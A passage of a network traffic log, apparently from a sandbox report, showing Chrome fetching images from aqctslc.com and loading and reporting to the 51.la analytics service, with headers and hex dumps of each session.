72	192.168.2.6	49859	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	745	OUT	GET /themes/static/image/services-icon6.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:41 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:41 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:41 UTC	12303	IN	Data Raw: 33 30 30 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 58 08 06 00 00 01 74 5d 62 14 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 Data Ascii: 3002PNGIHDRdXt]btEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49862	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	739	OUT	GET /themes/static/image/feedback.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:41 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:41 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:41 UTC	16153	IN	Data Raw: 61 38 36 36 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 d0 00 00 01 79 08 03 00 00 00 81 72 ed 15 00 00 03 00 50 4c 54 45 00 00 00 fc fb fb d2 d0 d5 ff ff ff e6 e4 ec a6 bc de ff ff ff e4 df e6 ec e8 eb ff ff ff fd fc fc e1 90 a4 fc fc fc fd fc fc f6 f5 f8 ff ff ff ff ff fe a9 a7 c0 63 5c 72 fb fb fb cb bf c1 da d7 df c6 c0 c0 cb c0 c3 90 81 89 54 4d 56 a2 b9 eb 86 a7 db b0 8b 91 7c 68 6d 37 32 41 ff ff ff d8 b4 a5 b1 a7 a6 d4 8a 5f e1 98 6e b3 aa aa b0 9f 9b eb cd c0 f4 f1 f2 ba ae af b1 a3 a1 fe b6 88 d9 91 67 f0 a8 7b f6 ae 82 d2 af a1 da bd b0 f6 f7 f8 ce 8c 63 c1 b5 b5 e9 a2 77 d2 83 58 b8 b2 b7 ff bd 8e ee eb ed fe f4 f5 b1 96 91 c7 bc bb b6 9d 95 ff 9b 92 fb a8 78 e7 e5 e8 fd ec eb a9 63 49 c8 7e 65 ce 79 55 f8 a0 70 90 ba fc c2 Data Ascii: a866PNGIHDRyrPLTEc\rTMV\|hm72A_ng{cwXxcI~eyUp
2025-01-09 23:51:41 UTC	16384	IN	Data Raw: b3 dd b5 79 4d 67 89 5d f6 be 56 3b 17 b0 13 2d 33 9a c7 44 09 fd 56 43 13 85 e6 94 da 16 4d 9b ce 68 40 a3 8b 5f 43 40 2f 1c 92 f7 c1 e9 33 61 40 f3 bd 67 4a bb 28 db 82 7d ce 1d c5 c5 9b fa 5f ed af 0c 20 9b 89 2f f0 ab 91 d0 8c 68 0c 80 ba a3 06 06 db 32 af ad 2e 04 25 0e a7 b7 d7 f3 8f 37 3a 12 b2 e8 40 d3 6e 72 6c 55 e9 a7 66 09 ce c1 71 4e 16 d6 2f 50 c8 cd 48 4e 94 5b 0a a9 cd 2a b8 eb 30 fe 8c d0 3a 1e a7 dd fa 09 22 1a 60 3e b4 65 73 76 1b c7 fa 3b 20 34 a1 a0 3e 28 da f9 9c f4 19 b5 48 ef a2 45 32 a0 81 1b 54 4b 1c f7 30 9c c5 bd ef cd 9d a6 5b 2b 83 77 ca 5b 2b 2a a2 29 75 6c a1 49 1e ae 0c d3 40 90 46 f7 31 a3 e9 73 9b ce e8 66 2f 7b 1d bc 58 6c 32 84 2e 77 ee 80 82 84 3e 93 96 a6 49 0b 8f 82 3e 3c f3 5b bf b0 6d ac b2 d2 61 0f 48 7e 15 11 2d Data Ascii: yMg]V;-3DVCMh@_C@/3a@gJ(}_ /h2.%7:@nrlUfqN/PHN[0:"`>esv; 4>(HE2TK0[+w[+)ulI@F1sf/{Xl2.w>I><[maH~-
2025-01-09 23:51:41 UTC	10586	IN	Data Raw: 97 6f 22 d0 14 91 5e 2b 48 bf 60 a7 1e 9a 6a d8 34 16 93 dc ab 46 10 f7 ed db 37 00 97 06 cf f9 47 8e 34 ee 7b 9e 40 63 9b eb 75 e5 c3 d4 e5 a7 5f e2 fd 86 2d e4 b9 ae bf bb a7 7b 00 44 f7 9f ed 07 d2 25 a5 cf fe 58 5e bb 4a f0 70 0a eb 75 c2 b3 e7 3f 6e 32 10 a6 2d 23 a4 b6 41 7b 0e d2 9e b7 b9 0d da 3c 12 46 4e 38 98 71 c4 0e f4 98 de 54 25 8a ba dd f4 81 0e 5c 7d 0e 5b 51 f0 dd 58 e0 8c 5d ea ff fe 07 ea ef 08 91 dc 85 d1 2f 1f fd 17 68 d6 1b d0 5c 9d c6 df e0 d0 65 00 fd 04 bc 59 45 8d ca a1 81 33 34 0a 9e 45 a3 48 3d 80 bb 03 e9 6f 84 00 1a e1 72 6d 0e 8f d8 32 36 4d a6 09 b5 38 35 1b 6d 5a b9 f6 30 55 af 54 97 df d8 bd 51 01 8d 5d 54 77 d1 9e 0b 26 57 9f 14 c0 1f 4f 49 c9 1a 9e 1c a8 68 ea a9 25 d1 50 3f bc af 3d fd d9 4f 10 e8 c4 0e a7 70 f3 b5 92 Data Ascii: o"^+H`j4F7G4{@cu_-{D%X^Jpu?n2-#A{<FN8qT%\}[QX]/h\eYE34EH=orm26M85mZ0UTQ]Tw&WOIh%P?=Op

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49861	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	972	OUT	GET /themes/static/image/subscribe.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:41 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:41 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:41 UTC	11599	IN	Data Raw: 32 64 34 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2a 00 00 01 ce 08 03 00 00 00 18 31 b4 89 00 00 02 f4 50 4c 54 45 00 00 00 40 49 7c 9a b1 da 40 4b 7b 40 4a 7a 3f 4a 7b e6 8b 86 40 49 7c 2a 37 67 8a af d6 f7 8d 88 99 b3 da f2 92 8e 3f 4a 7c 3f 4a 7b 3f 4a 7c 9a b3 da ec bd bb f7 8d 88 99 b2 da 3f 4a 7c 99 b1 da 9a b3 da f3 89 84 3f 4a 7b 3a 43 76 39 42 74 f7 8d 88 f6 8c 88 3d 48 79 f3 86 83 ed bb ba 40 4a 7c 37 3c 6e 9a b3 da 41 48 79 3b 45 78 ec bd bb f6 8d 87 3f 4a 7c 3f 4a 7b 3f 4a 7b 99 b1 da 98 b3 dc f6 8c 87 f7 8c 87 f7 8c 87 3e 49 7b ec bd bb 3f 4a 7c f7 8b 85 40 4a 7c 3f 4a 7b f6 8b 86 f4 89 83 f6 8c 88 f7 8d 88 3f 4a 7b f6 8d 87 f6 8d 87 3f 49 7b ec bc b8 3f 4a 7b f7 8c 87 3e 48 7a 96 ab d2 93 ad d3 f5 8c 88 f6 8d 87 9a Data Ascii: 2d42PNGIHDR1PLTE@I\|@K{@Jz?J{@I\|7g?J\|?J{?J\|?J\|?J{:Cv9Bt=Hy@J\|7<nAHy;Ex?J\|?J{?J{>I{?J\|@J\|?J{?J{?I{?J{>Hz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49865	148.153.240.68	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	350	OUT	GET /js-sdk-pro.min.js HTTP/1.1 Host: sdk.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:42 UTC	473	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:51:41 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: openresty Cache-Control: no-store Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE7-CACHE3[141],EU-GER-frankfurt-EDGE7-CACHE3[ovl,139],EU-GER-frankfurt-EDGE5-CACHE3[ovl,138],CHN-HElangfang-GLOBAL6-CACHE117[ovl,14] X-CCDN-REQ-ID-46B1: c0fdbddabd4d4929b6c1b9ebca862931
2025-01-09 23:51:42 UTC	15911	IN	Data Raw: 61 35 61 0d 0a 2f 2a 21 0a 2a 20 35 31 4c 41 20 41 6e 61 6c 79 73 69 73 20 4a 61 76 61 73 63 72 69 70 74 20 53 6f 66 74 77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 20 4b 69 74 0a 2a 20 6a 73 2d 73 64 6b 2d 70 72 6f 20 76 31 2e 35 38 2e 33 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 32 30 31 36 2d 32 30 32 32 20 35 31 2e 6c 61 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2c 67 3d 65 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 2c 68 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 2c 69 3d 41 28 27 4f 62 6a 65 63 74 27 29 2c 6a 3d 41 28 27 4e 75 6d 62 65 72 27 29 2c 6b 3d 41 28 27 53 74 72 69 6e 67 27 29 2c 6d Data Ascii: a5a/! 51LA Analysis Javascript Software Development Kit* js-sdk-pro v1.58.3* Copyright 2016-2022 51.la All Rights Reserved*/(function(c){'use strict';var e=window,g=e['document'],h=encodeURIComponent,i=A('Object'),j=A('Number'),k=A('String'),m
2025-01-09 23:51:42 UTC	16384	IN	Data Raw: 3a 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 54 72 69 64 65 6e 74 2f 27 29 3e 30 78 30 3f 28 66 68 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 72 76 3a 27 29 2c 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 68 2b 30 78 33 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 68 29 29 2c 30 78 61 29 29 3a 28 66 66 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 45 64 67 65 2f 27 29 29 3e 30 78 30 26 26 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 66 2b 30 78 35 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 66 29 29 2c 30 78 61 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 66 6a 28 66 6b 2c 66 6c 2c 66 6d 29 7b 76 61 72 20 66 6e 2c 66 6f 2c 66 70 2c 66 71 2c 66 72 2c 66 73 2c Data Ascii: :fi['indexOf']('Trident/')>0x0?(fh=fi['indexOf']('rv:'),parseInt(fi['substring'](fh+0x3,fi['indexOf']('.',fh)),0xa)):(ff=fi['indexOf']('Edge/'))>0x0&&parseInt(fi['substring'](ff+0x5,fi['indexOf']('.',ff)),0xa);}function fj(fk,fl,fm){var fn,fo,fp,fq,fr,fs,
2025-01-09 23:51:42 UTC	3731	IN	Data Raw: 65 27 5d 28 27 63 72 6f 73 73 6f 72 69 67 69 6e 27 2c 27 61 6e 6f 6e 79 6d 6f 75 73 27 29 2c 6a 6b 5b 27 73 65 74 41 74 74 72 69 62 75 74 65 27 5d 28 27 63 68 61 72 73 65 74 27 2c 27 55 54 46 2d 38 27 29 2c 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 27 5d 28 27 68 65 61 64 27 29 5b 30 78 30 5d 5b 27 61 70 70 65 6e 64 43 68 69 6c 64 27 5d 28 6a 6b 29 2c 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 3f 6a 6b 5b 27 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 28 27 63 6f 6d 70 6c 65 74 65 27 3d 3d 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 7c 7c 27 6c 6f 61 64 65 64 27 3d 3d 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 29 26 26 6a 69 26 26 6a 69 28 29 Data Ascii: e']('crossorigin','anonymous'),jk['setAttribute']('charset','UTF-8'),document['getElementsByTagName']('head')[0x0]['appendChild'](jk),jk['readyState']?jk['onreadystatechange']=function(){('complete'==jk['readyState']\|\|'loaded'==jk['readyState'])&&ji&&ji()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49866	90.84.164.16	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	573	OUT	POST /v6/collect?dt=4 HTTP/1.1 Host: collect-v6.51.la Connection: keep-alive Content-Length: 344 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://aqctslc.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:41 UTC	344	OUT	Data Raw: 1f 8b 08 00 0b 61 80 67 00 03 85 51 bb 4a 03 41 14 fd 95 b0 a5 64 cc ec ec ec 63 d2 5a 08 5a f8 0c d6 bb b3 13 95 c4 4d dc 27 22 82 8d 08 a2 b0 85 a0 11 c1 d2 ce c4 26 c1 20 29 f2 29 9a 4d b0 f2 17 dc 3b 29 8c 12 48 77 e7 9c 33 e7 de 7b ee a9 72 e8 2a e5 82 b2 be b5 ba 11 24 7b 95 cd dd b5 ed 15 ff 24 56 8a 05 c5 0f 73 46 35 35 83 1a 86 c1 98 c1 8c 1c 0c 01 54 46 fd fe e4 f6 29 eb bc 8e ef db d9 cd 03 ca 3a 57 5f 83 56 76 d9 1e df 75 e1 6b 2d 99 a3 1a f6 66 65 c5 45 1e 6e b0 a8 d3 f7 fb f5 ec 13 fd d3 7e 9e a7 93 d6 20 ef fa d2 1d f6 46 6f 69 5e a5 cf 1f 8f 17 60 1e 4c d7 26 c4 15 ae b0 1d 84 19 a7 48 e7 9a 89 1c 5a b5 90 30 09 c6 94 32 c7 c5 36 c8 79 04 ea 83 30 6c 06 e5 52 c9 3e e6 61 50 e7 cb bc 71 54 02 b6 29 59 19 59 1d 2a 95 58 78 49 c5 84 02 54 b7 Data Ascii: agQJAdcZZM'"& ))M;)Hw3{r${$VsF55TF):W_Vvuk-feEn~ Foi^`L&HZ026y0lR>aPqT)YYXxIT
2025-01-09 23:51:42 UTC	405	IN	HTTP/1.1 200 Date: Thu, 09 Jan 2025 23:51:42 GMT Content-Length: 0 Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: https://aqctslc.com Access-Control-Allow-Credentials: true via: EU-ROU-bucharest-EDGE1-CACHE3[612],EU-ROU-bucharest-EDGE1-CACHE3[ovl,609] X-CCDN-REQ-ID-46B1: 6187d524d23e842d6ab68f6b7026d3c2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49873	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	749	OUT	GET /themes/static/image/shen-zi-shan.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:42 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:42 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:42 UTC	16153	IN	Data Raw: 61 32 31 61 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 06 00 00 00 f4 78 d4 fa 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 75 78 5c 65 f6 c0 f1 ef 1d cf c4 dd a5 91 36 75 57 ea 4a 85 52 81 52 8a 17 67 59 f8 e1 bb b0 8b 2d b6 c8 02 cb b2 8b cb c2 52 dc 0a 85 0a 50 83 42 a9 52 77 f7 36 6d d3 24 8d ce fc fe b8 05 6a 49 93 7b df 91 24 e7 f3 3c f3 74 b7 99 7b ee 4b 33 73 ef b9 af 9c 57 43 08 d1 10 c5 02 f1 40 dc 71 2f 0b 10 01 58 01 1b 10 7e ec bd 47 80 4a a0 0a 28 3c f6 e7 fe 93 5e 07 fc d8 76 21 84 1f 68 81 6e Data Ascii: a21aPNGIHDRxsBIT\|dpHYs+tEXtSoftwarewww.inkscape.org< IDATxux\e6uWJRRgY-RPBRw6m$jI{$<t{K3sWC@q/X~GJ(<^v!hn
2025-01-09 23:51:42 UTC	16384	IN	Data Raw: 76 3f 65 15 15 ca 63 f7 6c 3b 92 7b 2e 7f 8d 8c 84 3c a2 12 dc 58 ac 72 d1 0f 16 09 b1 a9 9c d3 f7 62 0e 15 ee 67 cd 66 b5 bb 3e 56 56 79 f8 f0 9b b5 b4 6d 1a 4f d3 cc 13 27 06 7a 43 13 c0 2e 4b ff 84 5a 9a a6 11 1d e9 e6 e3 29 b5 9a cc 5f 9d 2c f4 1d 7b ab 9d 0c 78 a6 c7 e9 01 80 e1 aa 29 19 51 31 9c db b2 9d d1 c3 4f 14 2e 4f 5b a2 66 d3 16 fd cc f8 c7 1f 54 be e3 9f c3 ee e2 c6 f3 9e e0 b6 0b 9f 23 2c 24 92 90 08 3b 36 bb f4 44 05 9b 10 57 28 7f ba e6 59 1e ba f9 75 dc 21 6a af 17 65 e5 55 9c 77 e7 64 be fa fe f8 dd 0c 35 70 c8 43 89 f0 8d d1 67 77 22 35 d9 54 59 e9 0c a0 5f 4d 6f 38 d3 55 ec 32 33 67 bf ae 47 5f ac 2a ba ec 35 0d 42 43 cc c7 11 0d d6 4f 6b 57 71 fe 63 0f 28 bf f9 c7 47 a5 f0 f0 b5 ef 33 a0 d3 38 00 34 8b 46 58 a4 54 7b 0b 66 fd bb 8d Data Ascii: v?ecl;{.<Xrbgf>VVymO'zC.KZ)_,{x)Q1O.O[fT#,$;6DW(Yu!jeUwd5pCgw"5TY_Mo8U23gG_*5BCOkWqc(G384FXT{f
2025-01-09 23:51:42 UTC	8974	IN	Data Raw: 66 45 95 97 09 bf 6e 26 bf d8 c5 a9 83 db e3 8c 89 c4 08 a0 69 4d 1c 74 15 62 78 5d 56 54 20 c2 ae 07 4a ca aa f8 e7 83 63 f8 ef db 93 f1 78 6d 19 86 f4 21 70 33 f5 68 f3 87 48 fa 84 82 c3 00 de 06 ee b0 43 79 fb c6 4d 79 f7 e2 ab 39 b7 b7 d2 db 06 7b 30 0c 48 4e 84 b4 54 48 4d 22 9c 1f e9 fc 8d eb b9 f5 9d d7 d8 9c 99 11 36 1b 92 13 d3 78 f7 81 d9 a4 25 a7 87 cd 86 83 89 4b 70 d2 b8 65 52 bd fd a1 69 2c 0a 4b 72 b9 fc de 41 21 3b fd 57 47 9f ce e9 7c f8 e4 19 1c df af 75 d8 6c a8 33 86 03 33 a1 31 66 7c 63 cc d8 f0 75 3a 04 f8 79 e6 1a ee 7c e2 0b b2 72 d4 27 20 ff ce 9b c0 bd 44 50 8b df ba 52 df 22 00 07 f3 0b 96 fd a7 a8 56 5c ea aa 62 c2 aa a5 6c dc 9f c3 f0 6e 3d 23 a3 71 d0 91 f0 78 ad ea 81 e2 32 f0 f9 31 0d 07 46 08 af 08 2a 5c 2e 9e 1e 37 86 5b Data Ascii: fEn&iMtbx]VT Jcxm!p3hHCyMy9{0HNTHM"6x%KpeRi,KrA!;WG\|ul331f\|cu:y\|r' DPR"V\bln=#qx21F*\.7[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49872	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	975	OUT	GET /themes/static/image/shape3.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:42 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:42 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:42 UTC	11493	IN	Data Raw: 32 63 64 38 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 cf 00 00 00 db 08 03 00 00 00 fd 18 35 e0 00 00 03 00 50 4c 54 45 00 00 00 0f 10 10 04 19 17 0b 45 68 0f 0f 0f 28 6f 62 04 0f 10 a7 d4 55 a9 d7 54 10 10 10 0b 46 69 ac da 55 05 06 06 0b 0b 0c 96 c8 47 0f 0f 0f 0f 0f 0f 0c 47 6b aa d8 56 0b 0c 0c 10 10 10 a4 d2 55 25 6c 62 10 10 10 10 11 11 10 11 11 a9 d6 55 0b 45 68 16 52 66 29 71 63 10 4b 67 0f 10 0f 0e 0e 0e 0e 0e 0e 22 6a 63 25 6b 62 0a 0b 0b 0e 0e 0e af dd 55 2b 71 62 11 13 11 0f 0f 0f 0d 0d 0d 0f 0f 0f 04 3e 68 0a 43 68 2f 74 62 0f 0f 0f a1 cf 55 a0 cf 56 0c 46 68 0f 0f 0f 0d 0d 0d 9c cb 56 3c 7f 60 0e 0e 0e 2a 73 65 2a 72 63 92 c3 56 0f 10 10 0d 0d 0d 35 79 60 2a 71 63 0b 46 69 0c 0d 0d 0c 0a 0c 0f 0f 0f 0f 0f 0f 20 65 5e 10 Data Ascii: 2cd8PNGIHDR5PLTEEh(obUTFiUGGkVU%lbUEhRf)qcKg"jc%kbU+qb>hCh/tbUVFhV<`sercV5y`*qcFi e^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
